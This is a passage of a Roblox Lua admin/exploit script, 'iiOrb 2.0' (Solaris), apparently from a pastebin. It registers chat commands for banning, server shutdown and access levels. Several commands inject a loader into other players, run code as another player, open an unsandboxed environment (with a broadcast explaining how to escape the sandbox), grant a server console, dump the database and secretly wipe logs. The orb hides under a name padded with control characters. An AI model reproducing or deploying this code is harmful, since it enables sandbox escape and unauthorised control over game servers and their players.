  837. AddCommand('Ban','ban','Bans a player from the server', 3, function(Message, Collect_Players, Player)
  838. local Split = GetSplit(Message)
  839. local Plrs
  840. local Reason
  841. if Split == nil then
  842. Plrs = Collect_Players(Message,Player)
  843. Reason = nil
  844. else
  845. Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  846. Reason = tostring(Message:sub(Split+1))
  847. end
  848. if #Plrs>0 then
  849. for _,Plr in pairs(Plrs) do
  850. if Reason == nil or Reason == "" then Reason = tostring("Being Banned") end
  851. --table.insert(Solaris.Banned,tostring(Plr.Name)==tostring(Reason))
  852. Solaris.Banned[Plr.Name]=tostring(Reason)
  853. Plr:Kick("You have been banned for "..tostring(Reason))
  854. end
  855. end
  856. end)
  857.  
  858. AddCommand('Unban','unban','Unbans a player', 3, function(Message, Collect_Players, Player)
  859. for i,v in pairs(Solaris.Banned)do
  860. if string.sub(string.lower(i),1,#Message)==string.lower(Message)then
  861. Solaris.Banned[i]=nil
  862. end
  863. end
  864. end)
  865.  
  866. AddCommand('Banned','banned','Shows banned table',2,function(Message, Collect_Players, Player)
  867. print_to(Player,"Got Banned")
  868. print_to(Player,"--------------------------------")
  869. for i,v in pairs(Solaris.Banned)do
  870. print_to(Player,"["..tostring(i).."]: "..tostring(v))
  871. print_to(Player,"--------------------------------")
  872. end
  873. end)
  874.  
  875. AddCommand('Sbexe',"sbexe","Sbexe to a Player",3,function(Message, Collect_Players, Player)
  876. local Split = GetSplit(Message)
  877. local Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  878. local Command = Message:sub(Split+1)
  879. if #Plrs>0 then
  880. for index,data in pairs(Plrs)do
  881. Sbexe(Command,data)--afk
  882. end
  883. end
  884. end)
  885.  
  886. AddCommand('Loader','injl','Injects Solaris loader to a player',3,function(Message, Collect_Players, Player)
  887. local Plrs = Collect_Players(Message,Player)
  888. if #Plrs > 0 then
  889. for i,v in pairs(Plrs)do
  890. print_to(v,"[iiOrb 2.0]: has issued a loader to you")
  891. InjectLoader(v)
  892. end
  893. end
  894. end)
  895.  
  896. AddCommand('Theme','theme','Changes Orb theme',2,function(Message, Collect_Players, Player)
  897. ChangeTheme(Player,Message)
  898. end)
  899.  
  900. AddCommand('Follow','fol','Makes orb follow a target or your self',2,function(Message, Collect_Players, Player)
  901. if #Message>0 then
  902. local Plrs = Collect_Players(Message,Player)
  903. if #Plrs >1 then print_to(Player,"[Error]: Only one player allowed") return end
  904. for index,data in pairs(Plrs)do
  905. Follow(true,data.Name)
  906. end
  907. else
  908. Follow(true,Player.Name)
  909. end
  910. end)
  911.  
  912. AddCommand('Nofollow','nofol','Sets the or to no follow',2,function(Message, Collect_Players, Player)
  913. Follow(false,"")
  914. end)
  915.  
  916. AddCommand('Shutdown','sd','Shuts down the server',3,function(Message, Collect_Players, Player)
  917. for i,v in pairs(game:GetService('Players'):children())do
  918. v:Kick('This server has shutdown')
  919. end
  920. end)
  921.  
  922. AddCommand('Access Level','setl','Sets the access level of a plr',1,function(Message, Collect_Players, Player)
  923. local Split = GetSplit(Message)
  924. local Plrs = Collect_Players(Message:sub(1,Split-1),Player)
  925. local Level = tonumber(Message:sub(Split+1))
  926. if #Plrs>0 then
  927. for index,data in pairs(Plrs)do
  928. if Level > Solaris.Admins[data.Name].Level and Solaris.Admins[data.Name].Level >= Solaris.Admins[Player.Name].Level then
  929. print_to(data,"[Error]: You cant set your level higher then your own")
  930. else
  931. print("[iiOrb 2.0]: Has set "..data.Name.."'s Access level to ["..Level.."]")
  932. Solaris.Admins[data.Name].Level = tonumber(Level)
  933. end
  934. end
  935. end
  936. end)
  937.  
  938. AddCommand('Bypass','bypass','Loads a _G function giving a new env',3,function(Message, Collect_Players, Player)
  939. local newEnv = getfenv(1)
  940. newEnv.script = nil
  941. newEnv.warn = print
  942. newEnv.print = print
  943. newEnv.print_to = print_to
  944. newEnv.broadcast = broadcast
  945. rawset(_G,"Bypass",function()
  946. return newEnv
  947. end)
  948. broadcast('[iiOrb 2.0]: Has Loaded non-local bypass use setfenv(1,_G.Bypass()) to run unsandboxed code')
  949. end)
  950.  
  951. AddCommand('Lock','lock','Sets the status of Scripting lock',3,function(Message, Collect_Players, Player)
  952. if #Message>0 then
  953. if Message:lower() == 'true' then
  954. if Solaris.Blocker.LocalBlock == true and Solaris.Blocker.LocalBlock == true then
  955. print_to(Player,"[iiOrb 2.0]: Scripting is already locked")
  956. else
  957. Solaris.Blocker.LocalBlock = true
  958. Solaris.Blocker.GlobalBlock = true
  959. print('[iiOrb 2.0]: Is locking Scripting')
  960. end
  961. elseif Message:lower()=='false' then
  962. if Solaris.Blocker.LocalBlock == false and Solaris.Blocker.LocalBlock == false then
  963. print_to(Player,"[iiOrb 2.0]: Scripting is already unlocked")
  964. else
  965. Solaris.Blocker.LocalBlock = false
  966. Solaris.Blocker.GlobalBlock = false
  967. print('[iiOrb 2.0]: Is unlocking Scripting')
  968. end
  969. end
  970. end
  971. end)
  972.  
  973. AddCommand('Clear Cache','ccl','Clears log cache of a secret thing',5,function(Message, Collect_Players, Player)
  974. local y,n = pcall(function()
  975. print('[iiOrb 2.0]: Has Cleared => HTTP CACHE')
  976. for i,v in pairs(rbxdb:GetAllData())do
  977. rbxdb:DeleteValue(i)
  978. end
  979. end)
  980. if not y then print("[ERROR]: "..n)end
  981. end)
  982.  
  983. AddCommand('Hide','hide','hides or shows the orb',2,function(Message, Collect_Players, Player)
  984. if #Message>0 then
  985. if Message:lower() == 'true'then
  986. ChangeTheme(Player,'hidden')
  987. elseif Message:lower()== 'false' then
  988. ChangeTheme(Player,'normal')
  989. end
  990. end
  991. end)
  992.  
  993. AddCommand('Get Saves','gs','Get saves',4,function(Message, Collect_Players, Player)
  994. GetSavedScripts(Player)
  995. end)
  996.  
  997. AddCommand('Get Database','getd','Gets data from database',5,function(Message, Collect_Players, Player)
  998. local Data = rbxdb:GetAllData()
  999. if type(Data)=='table'then
  1000. for i,v in pairs(Data)do wait(.1)
  1001. print_to(Player,tostring(i)..":"..tostring(v))
  1002. end
  1003. end
  1004. end)
  1005.  
  1006. AddCommand('Console','sc','Gives Server Console',5,function(Message, Collect_Players, Player)
  1007. GiveServerConsole(Player)
  1008. end)
  1009.  
  1010. AddCommand('Get Garbage','getg','Gets an Array of Garbage Data',2,function(Message, Collect_Players, Player)
  1011. GetGarbage(Player)
  1012. end)
  1013.  
  1014. AddCommand('Safe Exe','sexe','Executes safe code',3,function(Message, Collect_Players, Player)
  1015. if #Message > 0 then
  1016. SafeExe(Message,Player)
  1017. end
  1018. end)
  1019.  
  1020. AddCommand('Kill Rot','kill','Kills the orb rot if its a emergency',4,function(Message, Collect_Players, Player)
  1021. Solaris.__STATUS = not Solaris.__STATUS
  1022. if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then
  1023. SpawnOrb()
  1024. end
  1025. end)
  1026.  
  1027. print("[iiOrb 2.0]: Has finished booting commands")
  1028. end local BootCommands = API.BootCommands
  1029.  
  1030. function API.Connect(plr)
  1031. if type(plr)~='userdata'then return end
  1032.  
  1033. local Allowed_YoungPlrs = {"xDarkScripter","Fuust","lnvertious"}
  1034. if plr.AccountAge/365 < .5 then
  1035. for i,v in pairs(Allowed_YoungPlrs)do
  1036. if not plr.Name == v then
  1037. plr:Kick("[iiOrb 2.0]: Sorry your AccountAge is to young to join this game")
  1038. end
  1039. end
  1040. end
  1041.  
  1042. if Solaris.Banned[plr.Name]then Sbexe('g/ns nl ns nl ns nl ns nl',plr) plr:remove()end--Kick(Solaris.Banned[plr.Name]) end
  1043.  
  1044. if not Solaris.Admins[plr.Name]then
  1045. print_to(plr,"[iiOrb 2.0]: Has identifyed you as a ["..Solaris.Levels[1].."]")
  1046. print("[iiOrb 2.0]: connect "..plr.Name.." as a ["..Solaris.Levels[1].."]")
  1047. Solaris.Admins[plr.Name] = {Level=1}
  1048. elseif Solaris.Admins[plr.Name]then
  1049. print_to(plr,"[iiOrb 2.0]: Has identified you as a ["..Solaris.Levels[Solaris.Admins[plr.Name].Level].."]")
  1050. end
  1051. ConnectLogger(plr)
  1052. plr.Chatted:connect(function(msg)
  1053. Chatted(plr,msg)
  1054. end)
  1055. end local Connect = API.Connect
  1056.  
  1057. --// Bootstrapper functions
  1058.  
  1059. function Bootstrap:Boot()
  1060. local DeploymentID = Generate(math.random(1,50)*2/3)
  1061. --// Bootup
  1062. broadcast("[iiOrb 2.0]: Has started booting up")
  1063. SpawnOrb()
  1064. Rotate()
  1065. BootCommands()
  1066. for i,v in pairs(game:GetService('Players'):children())do
  1067. Connect(v)
  1068. end
  1069.  
  1070. game:GetService('Players').PlayerAdded:connect(function(plr)
  1071. wait(.5)
  1072. Connect(plr)
  1073. end)
  1074.  
  1075. game.Workspace.DescendantAdded:connect(function(obj)
  1076. if obj.ClassName == "Script" then
  1077. if Solaris.Blocker.GlobalBlock == true then
  1078. obj.Disabled = true
  1079. obj:Destroy()
  1080. end
  1081. elseif obj.ClassName == "LocalScript" then
  1082. if Solaris.Blocker.LocalBlock == true then
  1083. obj.Disabled = true
  1084. obj:Destroy()
  1085. end
  1086. end
  1087. end)
  1088. --game.DescendantAdded:connect(function(instance)
  1089. --if Solaris.Blocker.LagBlocker== true then
  1090. --if Solaris.LagBlockedInstances[instance.ClassName]then
  1091. --instance:Destroy()
  1092. --end
  1093. --end
  1094. --end)
  1095.  
  1096.  
  1097.  
  1098. print("[iiOrb 2.0]: Has booted successfully")
  1099. broadcast("[iiOrb 2.0]: Has deployed with ID: "..DeploymentID.."")
  1100. rbxdb:SetValue("[SOLARIS DEPLOYMENT]",DeploymentID)
  1101. end
  1102.  
  1103. if script.ClassName == 'Script'then
  1104. if not game.Workspace:FindFirstChild("\5\5\5\5Solar\5\5is\5\5\5\5")then
  1105. local y,n = pcall(function()
  1106. Solaris.API.Bootstrap:Boot()
  1107. end)if not y then print('{ERROR}: '..n)end
  1108. end
  1109. elseif script.ClassName == 'ModuleScript'then
  1110. return function(deploymentKey)
  1111. local Key = Solaris.AccessKey
  1112. if deploymentKey == Key then
  1113. return Solaris.API.Bootstrap
  1114. else
  1115. return error('INVALID DEPLOYMENT ACCESS KEY!')
  1116. end
  1117. end
  1118. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement